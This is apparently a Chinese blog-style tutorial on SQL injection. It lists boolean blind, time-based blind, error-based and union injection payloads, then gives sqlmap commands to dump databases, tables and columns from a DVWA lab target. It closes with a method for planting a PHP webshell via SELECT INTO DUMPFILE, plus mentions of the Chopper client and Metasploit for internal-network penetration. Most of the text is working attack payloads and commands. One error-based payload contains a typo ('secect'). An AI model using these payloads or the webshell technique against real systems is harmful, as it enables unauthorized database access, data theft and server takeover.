SQL注入
Boolean注入攻击-布尔盲注
1' and length(database())>1 -- qwe
1’ and length(database())>10 #
mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样,但含义有所不同。
用法:
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。
1’ and ascii(substr(database(),1,1))>88 #
1' and ascii(substr(database(),1,1))>1
报错注入攻击
and extractvalue(1, concat(0x7e,(select @@version),0x7e))
and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
时间注入攻击-时间盲注
if (length(database())>1,sleep(5),1)
时间盲注配合着 if(A,B,C) 语句结合使用,含义是:如果A是 true,则返回B(也就是执行B),否则返回C(执行C)
这个是百度百科的答案
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
简单点来说就是你提交的参数被当做代码去执行,网站的搭建,离不开码农的“加班”,再好的代码也是人写的,总有逻辑上的漏洞,说远了,SQL注入就是利用代码的漏洞,在接受用户传参的值的时候没有进行限制,或者限制的严格程度不够留下了问题。
这样子的,在接受GET传参时,没有进行限制,传递的参数直接提交数据库,这里就是可以利用的一点,用单引号闭合前面的SQL语句,用union select 联合查询去接你要查询的东西,
输入1’ union select 1 – 报错
输入1’ union select 1,2 –成功
源代码肯定是看不到的,
找到正确的闭合规则,
如:
输入1’ and 1 = 2 –- ,查询失败,返回结果为空
输入1’ and 1 = 1 – ,查询成功
所以需要去试,单引号闭合,双引号闭合,加括号闭合等等,这个适合GET传参,POST咋办?
没关系,复杂的学不来,直接拿前辈的成果SQLmap去跑就行了,直接用burp抓包,抓取你觉得有注入的点,打包成TXT,SQLmap可以下载的你的Windows,也可以用kali自带的,
(文笔不太好,想到哪里写到哪里,感觉kali应该也抽时间说一下)抓到的包就像这要的,这个我抓的是GET,POST也一样
用SQLmap去跑一下,SQLmap简单说一下
sqlmap --version 查看sqlmap版本信息.
-h 查看功能参数(常用的)
-hh 查看所有的参数 (如果有中文包 就最好了)
-v 显示更详细的信息 一共7级, 从0-6.默认为1, 数值越大,信息显示越详细.
Target(指定目标):
-d 直接连接数据库侦听端口,类似于把自己当一个客户端来连接.
-u 指定url扫描,但url必须存在查询参数. 例: xxx.php?id=1
-l 指定logfile文件进行扫描,可以结合burp 把访问的记录保存成一个log文件, sqlmap可以直接加载burp保存到log文件进行扫描
-x 以xml的形式提交一个站点地图给sqlmap(表示不理解..)
-m 如果有多个url地址,可以把多个url保存成一个文本文件 -m可以加载文本文件逐个扫描
-r 把http的请求头,body保存成一个文件 统一提交给sqlmap,sqlmap会读取内容进行拼接请求体
-g 利用谷歌搜索引擎搭配正则来过滤你想要的
-c 加载配置文件,配置文件可以指定扫描目标,扫描方式,扫描内容等等.加载了配置文件sqlmap就会根据文件内容进行特定的扫描
sqlmap -r 你保存的文件名.txt 【如果知道注入点用-p “” 指定注入点,有的网页需要登录,用--cookie “”指定cookie值,这个值是你浏览器的cookieh值,咋看?谷歌的f12 ,火狐的开发者工具,找不到burp抓包,,,,有一些网站会检头部信息,--user-agent “” 指定user-agent 或者--random-agent 直接随机agent ,,,,,--level 3 安全级别】
如:
爆出数据库
sqlmap -r a.txt --dbs --batch
–current-db是获取当前正在使用的数据库
指定数据库,爆表
sqlmap -r a.txt -D dvwa --tables --batch
指定表爆列
sqlmap -r a.txt -D dvwa -T information --columns --batch
这个有使用文档,有需要的我等下给个链接
以上用的是MySQL数据库
以前面试被问道过,Mysql5.0以上和Mysql5.0以下的版本中最大的区别是什么?
Mysql5.0以上的版本中加入了一个information_schema这个系统表,这个系统表中包含了该数据库的所有数据库名、表名、列表,可以通过SQL注入来拿到用户的账号和口令,
SQL注入写一句话木马,需要由2个前提,
1.确定有注入点,并可用
2.知道绝对路径
如:
然后用联合查询
select '一句话' into dumpfile '路径'
select '' into dumpfile 'E:\php\phpstudy_pro\WWW\DVWA\vulnerabilities\sqli_blind\123.php';
用菜刀连接,KALI下MSF配合可以进行内网渗透